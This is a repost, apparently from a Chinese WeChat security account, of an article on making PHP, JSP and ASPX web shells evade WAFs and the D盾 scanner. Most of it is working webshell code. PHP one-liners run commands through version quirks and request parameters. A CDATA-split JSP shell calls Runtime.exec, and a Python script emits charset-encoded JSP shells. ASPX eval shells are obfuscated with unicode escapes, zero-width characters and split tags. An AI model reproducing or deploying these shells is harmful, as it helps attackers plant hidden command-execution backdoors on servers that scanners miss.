LemonSec
微信号 lemon-sec
功能介绍 每日发布安全资讯~
__
收录于话题
文章来源:先知社区(Icepaper)
原文地址:https://xz.aliyun.com/t/10937
0x01 php的免杀
传统的php免杀不用多说了,无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如何解析最终都会到达命令执行的地方,但是如果语法报错的话,就可能导致解析失败了,这里简单说几个利用php版本来进行语义出错的php命令执行方式。
<?=$a=<<< aaassasssasssasssasssasssasssasssasssasssasssassssaa;echo `whoami`?>
<?php\echo `whoami`;?>
在php7中不认为是数字,php5则依旧为数字,经过测试 5.3 和5.5可以成功执行命令,5.2和php7无法执行。
<?php$s=substr("aabbccsystem","0x6");$s(whoami)?>
除此之外,还有很多种利用版本差异性来bypass一些没有对所有版本进行检测更新的所谓的"先进waf"。
当然,对于我们可以结合垃圾数据,变形混淆,以及大量特殊字符和注释的方式来构造更多的payload,毕竟每家的waf规则不同,配置也不同,与一些传输层面的bypass进行结合产生的可能性就会非常多样。
例如:
7.0版本的??特性,如果版本为5.x的话就会报错,可以结合一些其他的方式吧
<?php$a = $_GET['function'] ?? 'whoami';$b = $_GET['cmd'] ?? 'whoami';$a(null.(null.$b));
0x02 jsp的免杀
本人对java研究的不是非常深入,因此主要分享的还是平时收集的几个小tips,如果有没看过的师傅现在看到了也是极好的,java unicode绕过就不再多言。
jsp的后缀可以兼容为jspx的代码,也兼容jspx的所有特性,如CDATA特性。
jspx的后缀不兼容为jsp的代码,jspx只能用jspx的格式。
在XML元素里,<和&是非法的,遇到<解析器会把该字符解释为新元素的开始,遇到&解析器会把该字符解释为字符实体化编码的开始。
但是我们有时候有需要在jspx里添加js代码用到大量的<和&字符,因此可以将脚本代码定义为CDATA。
CDATA部分内容会被解析器忽略,此时ameter依旧会与getPar拼接成为getParameter。
格式:<![CDATA[xxxxxxxxxxxxxxxxxxx]]>例如:String cmd = request.getPar<![CDATA[ameter]]>("shell");
if (cmd !=null){ Process child = Runtime.getRuntime().exec(cmd); InputStream in = child.getInputStream();
#python2charset = "utf-8"data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)
f16be = open('utf-16be.jsp','wb')f16be.write('<%@ page contentType="charset=utf-16be" %>')f16be.write(data.encode('utf-16be'))
f16le = open('utf-16le.jsp','wb')f16le.write('<jsp:directive.page contentType="charset=utf-16le"/>')f16le.write(data.encode('utf-16le'))
fcp037 = open('cp037.jsp','wb')fcp037.write(data.encode('cp037'))fcp037.write('<%@ page contentType="charset=cp037"/>')
可以看到对于D盾的免杀效果还是非常好的。
0x03 aspx的免杀
aspx免杀的方式相对于PHP和java的较少,这里列出5种方式来bypass进行免杀
unicode编码空字符串连接<%%>截断头部替换特殊符号@注释
我们以一个普通的冰蝎马作为示例
<%@ Page Language="Jscript"%>eval(@Request.Item["pass"],"unsafe");%
这一步无需多言,一定是会被D盾所查杀的
例如eval他可以变为\u0065\u0076\u0061\u006c,经过我本地的测试,它不支持大U和多个0的增加
<%@ Page Language="Jscript"%><%\u0065\u0076\u0061\u006c(@Request.Item["pass"],"unsafe");%>
在函数字符串中插入这些字符都不会影响脚本的正常运行,在测试前需要注意该类字符插入的位置,否则插入错误的地方会产生报错
\u200c\u200d\u200e\u200f
将整个字符串与函数利用<%%>进行分割
<%@page Language=JS%><%eval%><%(Request.%><%Item["pass"],"unsafe");%>
之前有遇到过检测该字段的<%@ Page Language="C#" %>,这个是标识ASPX的一个字段,针对该字段进行免杀%@Language=CSHARP%,很久之前修改为这样就过了,同样的,可以修改为
<%@ Page Language="Jscript"%>------》<%@Page Language=JS%>
也可以将该字段放在后面,不一定要放前面等
如哥斯拉webshell存在特征代码,可以添加@符号但是不会影响其解析。
(Context.Session["payload"] == null)(@Context.@Session["payload"] == null)
如下所示为冰蝎部分代码,可以与<%%>结合使用效果会更好。
<%/*qi*/Session./*qi*/Add(@"k"/*qi*/,/*qi*/"e45e329feb5d925b"/*qi*/)
免杀技术有一套(免杀方法大集结)(Anti- AntiVirus)
** 欢迎关注LemonSec**
觉得不错点个 “赞” 、“在看”哦
预览时标签不可点
收录于话题 #
个
上一篇 下一篇
微信扫一扫
关注该公众号
知道了
微信扫一扫
使用小程序
取消 允许
取消 允许
: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看